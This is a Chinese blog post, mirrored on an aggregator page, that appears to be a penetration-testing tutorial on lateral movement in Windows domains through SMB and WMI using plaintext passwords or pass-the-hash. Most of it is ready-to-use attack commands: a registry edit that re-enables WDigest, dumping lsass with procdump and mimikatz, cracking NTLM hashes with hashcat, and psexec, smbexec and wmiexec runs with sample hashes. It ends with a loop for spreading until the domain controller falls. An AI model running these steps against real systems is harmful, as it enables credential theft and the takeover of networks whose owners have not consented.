zoukankan      html  css  js  c++  java
  • 3.横向smb&wmi明文或hash传递

    0x01.准备知识

    1.明文密码相关

    windows2012以上版本默认关闭wdigest , 攻击者无法从内存中获取明文密码 , 如果windows2012以下打了KB2871997补丁 , 也无法获取明文密码

    针对以上情况的解决方案

    1.利用hash传递(pth,ptk)进行横向一点
    2.利用其他服务协议(smb,wmi等)进行横向移动
    3.利用注册表操作开启wdigest Auth值进行获取   (但是开启了还需要域管再次登录)
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    
    4.利用工具(hashcat)或者第三方平台(cmd5)进行hash破解
    

    2.hash相关

    windows系统 LM Hash以及NTLM Hash加密算法 , 个人电脑在win vista后认证方式就不在使用LM了 ,统一使用NTLM , 服务器系统是在win2003以后

    0x02.Procdump+Mimikatz配合获取用户信息

    Mimikatz属于第三方软件,直接上传到目标主机可能被杀毒软件查杀,这时我们可以配合官方软件Procdump,将Procdump上传目标主机获取用户信息文件(该文件不可读),使用本地的Mimikatz打开Procdump获取的用户信息。

    Procdump下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

    # procdump 在目标机上执行
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
    # mimikatz 在本地执行:
    privilege::debug
    sekurlsa::minidump lsass.dmp
    sekurlsa::logonPasswords full
    

    0x03.hashcat破解密码

    kali自带的这款工具

    hashcat -a 0 -m 1000 bexhasjdhauedbjevfduhqjwed pass.txt --forec
    
    -a 0 是使用字典爆破
    -m 100 是hash类型为NTLM
    

    0x04.SMB服务协议进行哈希移动

    利用SMB服务可以通过明文或hash传递来远程执行,条件445服务端口开放

    1.psexec工具(官方软件)

    Pstools官方工具包:https://docs.microsoft.com/en-us/sysinternals/downloads/pstools

    # psexec第一种:先有ipc链接,psexec需要明文或hash传递
    net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator
    psexec \\192.168.3.32 -s cmd # 需要先有ipc链接 -s以System权限运行  返回一个cmd窗口
    
    # psexec第二种:不用建立IPC直接提供明文账户密码
    psexec \\192.168.3.21 -u administrator -p Admin12345 -s cmd 
    psexec -hashes :$HASH$ ./administrator@10.1.2.3
    psexec -hashes :$HASH$ domain/administrator@10.1.2.3
    // 以上两种方式使用的官方Pstools内的工具 , 但是使用hash传递的话 , 只能使用impacket中的psexec
    

    2.smbexec工具 ( 第三方工具包 )

    impacket工具包下载:https://gitee.com/RichChigga/impacket-examples-windows

    # smbexec第三种:无需先ipc链接 明文或hash传递  非官方自带-impacket工具包使用,操作简单,容易被杀
    smbexec god/administrator:Admin12345@192.168.3.21
    smbexec ./administrator:admin!@#45@192.168.3.32
    smbexec -hashes :$HASH$ ./admin@192.168.3.21
    smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
    smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
    smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
    

    0x05.WMI服务利用-cscript,wmiexec,wmic

    WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

    # 自带WMIC命令 明文传递 无回显   
    wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c  ipconfig >C:\1.txt"
    process list brief                                                                 #查看所有进程
    
    # 自带cscript配合wmiexec.vbs脚本 明文传递 有回显
    cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345
    
    # 第三方套件impacket wmiexec  明文或hash传递 有回显exe版本  容易被杀软查杀
    wmiexec ./administrator:admin!@#45@192.168.3.32 "whoami"
    wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
    wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32 "whoami"
    wmiexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"
    

    0x06.python脚本编写

    老规矩收集变量 , 然后编写批量脚本 , 打包exe运行

    0x07.思路

    1.mimikatz 抓取明文
    2.探测域内存活主机 dos命令/插件
    3.net user和net user /domain    收集用户和域用户
    4.编写python脚本使用impacket包中的wmiexec.exe 执行whoami命令批量检测本地用户和域用户
    5.成功后,再收集hash,再检测,一直循环到拿下域控
    
  • 相关阅读:
    TypeScript 源码详细解读(3)词法2-标记解析
    TypeScript 源码详细解读(2)词法1-字符处理
    TypeScript 源码详细解读(1)总览
    7年编程语言设计精华总结——写给想创造或正在创造一门新编程语言的同学
    我为什么开发新语言
    CLR值类型和引用类型
    运行时内存模型
    IronPython之基本类型
    .NET 应用程序域?
    .NET程序如何启动?
  • 原文地址:https://www.cnblogs.com/xcymn/p/15712519.html
Copyright © 2011-2022 走看看